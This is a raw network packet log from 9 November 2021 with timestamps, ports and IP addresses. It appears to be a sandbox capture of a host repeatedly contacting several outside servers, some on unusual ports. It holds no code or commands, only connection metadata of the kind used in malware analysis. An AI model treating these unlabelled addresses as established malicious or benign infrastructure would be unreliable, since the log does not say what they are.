Nov 9, 2021 22:22:01.430741072 CET	49880	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:22:01.430769920 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.430834055 CET	49880	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:22:01.430866003 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.430957079 CET	49880	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:22:01.430977106 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.431034088 CET	49880	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:22:01.431082010 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.431153059 CET	49880	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:22:01.431173086 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.431229115 CET	49880	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:22:01.431269884 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.431360006 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.431363106 CET	49880	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:22:01.431380033 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.431417942 CET	49880	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:22:01.431480885 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.431543112 CET	49880	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:22:01.431560040 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.431593895 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.431612968 CET	49880	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:22:01.431626081 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.431668997 CET	49880	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:22:01.431698084 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.431754112 CET	49880	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:22:01.431767941 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.431799889 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.431819916 CET	49880	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:22:01.431832075 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.431870937 CET	49880	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:22:01.431900978 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.431958914 CET	49880	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:22:01.431968927 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.432002068 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.432018042 CET	49880	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:22:01.432030916 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.432060003 CET	49880	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:22:01.448970079 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.449110031 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.449115992 CET	49880	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:22:01.449145079 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.449187040 CET	49880	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:22:01.449228048 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.449295044 CET	49880	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:22:01.449306011 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.449357986 CET	49880	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:22:01.449448109 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.449516058 CET	49880	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:22:01.449647903 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.449728966 CET	49880	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:22:01.449754000 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.449826002 CET	49880	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:22:01.449878931 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.449947119 CET	49880	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:22:01.450011015 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.450124025 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.450129032 CET	49880	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:22:01.450150967 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.450181007 CET	49880	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:22:01.450203896 CET	49880	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:22:01.450212955 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.450239897 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.450283051 CET	49880	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:22:01.450356007 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.450484037 CET	49880	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:22:01.450500965 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.450532913 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.450568914 CET	49880	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:22:01.450587988 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.450603008 CET	49880	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:22:01.450648069 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.450705051 CET	49880	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:22:01.450720072 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.450758934 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.450782061 CET	49880	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:22:01.450793982 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.450828075 CET	49880	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:22:01.450891018 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.450952053 CET	49880	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:22:01.450967073 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.451004982 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.451029062 CET	49880	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:22:01.451040983 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.451078892 CET	49880	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:22:01.451133966 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.451195002 CET	49880	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:22:01.451206923 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.451252937 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.451271057 CET	49880	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:22:01.451283932 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.451323032 CET	49880	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:22:01.451371908 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.451432943 CET	49880	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:22:01.451512098 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.451564074 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.451576948 CET	49880	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:22:01.451589108 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.451622963 CET	49880	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:22:01.451699018 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.451757908 CET	49880	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:22:01.451770067 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.451802969 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.451822996 CET	49880	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:22:01.451843023 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.451860905 CET	49880	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:22:01.451946974 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.452019930 CET	49880	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:22:01.452034950 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.452074051 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.452097893 CET	49880	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:22:01.452109098 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.452143908 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.452265978 CET	49880	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:22:01.452281952 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.452315092 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.452341080 CET	49880	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:22:01.452352047 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.452380896 CET	49880	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:22:01.452395916 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.452425003 CET	49880	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:22:01.452438116 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.452486992 CET	49880	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:22:01.452507973 CET	49880	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:22:01.453327894 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.453362942 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.453432083 CET	49880	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:22:01.453450918 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.453466892 CET	49880	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:22:01.453473091 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.453500986 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.453547955 CET	49880	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:22:01.453557014 CET	49880	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:22:01.453564882 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.453568935 CET	49880	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:22:01.453609943 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.453632116 CET	49880	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:22:01.453644991 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.453675032 CET	49880	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:22:01.453959942 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.453998089 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.454041958 CET	49880	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:22:01.454051971 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.454066992 CET	49880	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:22:01.454360962 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.454389095 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.454534054 CET	49880	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:22:01.454547882 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.471721888 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.471756935 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.471884966 CET	49880	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:22:01.471903086 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.471998930 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.472022057 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.472071886 CET	49880	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:22:01.472084045 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.472129107 CET	49880	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:22:01.472300053 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.472328901 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.472374916 CET	49880	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:22:01.472383022 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.472418070 CET	49880	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:22:01.472594976 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.472624063 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.472668886 CET	49880	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:22:01.472678900 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.472693920 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.472711086 CET	49880	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:22:01.472774982 CET	49880	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:22:01.472780943 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.472836018 CET	49880	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:22:01.473710060 CET	49880	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:22:01.473726034 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.562225103 CET	80	49879	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:03.080753088 CET	49878	28978	192.168.2.4	93.115.20.139
Nov 9, 2021 22:22:03.106508017 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:03.154793978 CET	49878	28978	192.168.2.4	93.115.20.139
Nov 9, 2021 22:22:03.195281029 CET	49881	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:03.488620996 CET	80	49881	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:03.488810062 CET	49881	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:03.488976002 CET	49881	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:03.489022017 CET	49881	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:03.782224894 CET	80	49881	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:03.782267094 CET	80	49881	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:04.466861963 CET	80	49881	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:04.466895103 CET	80	49881	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:04.466996908 CET	49881	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:04.467287064 CET	49881	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:04.497251034 CET	49882	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:04.760483980 CET	80	49881	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:04.793998003 CET	80	49882	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:04.794194937 CET	49882	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:04.794352055 CET	49882	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:04.794368982 CET	49882	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:05.091201067 CET	80	49882	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:05.091253996 CET	80	49882	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:05.574639082 CET	49883	80	192.168.2.4	45.141.84.21
Nov 9, 2021 22:22:05.783566952 CET	80	49882	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:05.783721924 CET	49882	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:05.784027100 CET	49882	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:05.817883968 CET	49884	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:06.080837011 CET	80	49882	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:06.118115902 CET	80	49884	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:06.118252993 CET	49884	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:06.118443966 CET	49884	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:06.118525982 CET	49884	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:06.418661118 CET	80	49884	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:06.418684959 CET	80	49884	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:07.083628893 CET	80	49884	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:07.083725929 CET	49884	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:07.083960056 CET	49884	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:07.110551119 CET	49885	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:07.383994102 CET	80	49884	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:07.410640955 CET	80	49885	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:07.410898924 CET	49885	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:07.410958052 CET	49885	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:07.410968065 CET	49885	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:07.710911036 CET	80	49885	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:08.415822029 CET	80	49885	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:08.415951014 CET	49885	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:08.416299105 CET	49885	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:08.445885897 CET	49886	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:08.577116966 CET	49883	80	192.168.2.4	45.141.84.21
Nov 9, 2021 22:22:08.716346979 CET	80	49885	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:08.749789000 CET	80	49886	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:08.749938011 CET	49886	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:08.753948927 CET	49886	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:08.753990889 CET	49886	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:09.057967901 CET	80	49886	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:09.729840994 CET	80	49886	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:09.729880095 CET	80	49886	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:09.730022907 CET	49886	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:09.843945026 CET	49886	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:10.148300886 CET	80	49886	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:10.192224026 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:10.495731115 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:10.495822906 CET	49888	10844	192.168.2.4	45.9.20.149
Nov 9, 2021 22:22:10.495891094 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:10.497035027 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:10.842468023 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:11.359823942 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:11.359862089 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:11.359879017 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:11.359898090 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:11.359915018 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:11.359931946 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:11.359954119 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:11.359972000 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:11.359987974 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:11.360001087 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:11.360037088 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:11.360089064 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:11.360095978 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:11.360100985 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:11.663558960 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:11.663624048 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:11.663662910 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:11.663702965 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:11.663753033 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:11.663755894 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:11.663780928 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:11.663813114 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:11.663858891 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:11.663883924 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:11.663917065 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:11.663952112 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:11.663995028 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:11.664021015 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:11.664038897 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:11.664050102 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:11.664103031 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:11.664144039 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:11.664191008 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:11.664192915 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:11.664232969 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:11.664277077 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:11.664294958 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:11.664336920 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:11.664338112 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:11.664390087 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:11.664429903 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:11.664457083 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:11.664488077 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:11.664557934 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:11.967988968 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:11.968045950 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:11.968091011 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:11.968131065 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:11.968172073 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:11.968183041 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:11.968209982 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:11.968218088 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:11.968256950 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:11.968285084 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:11.968297958 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:11.968328953 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:11.968359947 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:11.968389034 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:11.968420029 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:11.968451023 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:11.968482018 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:11.968511105 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:11.968542099 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:11.968573093 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:11.968604088 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:11.968638897 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:11.968671083 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:11.968699932 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:11.968730927 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:11.968763113 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:11.968795061 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:11.968823910 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:11.968888044 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:11.968921900 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:11.968950987 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:11.968956947 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:11.968996048 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:11.969001055 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:11.969027996 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:11.969034910 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:11.969074011 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:11.969086885 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:11.969114065 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:11.969151020 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:11.969161987 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:11.969188929 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:11.969228029 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:11.969238997 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:11.969264984 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:11.969304085 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:11.969327927 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:11.969341993 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:11.969381094 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:11.969398022 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:11.969420910 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:11.969485998 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:12.230129957 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:12.273900032 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.273937941 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.273955107 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.273972988 CET	80	49887	47.74.84.15	192.168.2.4
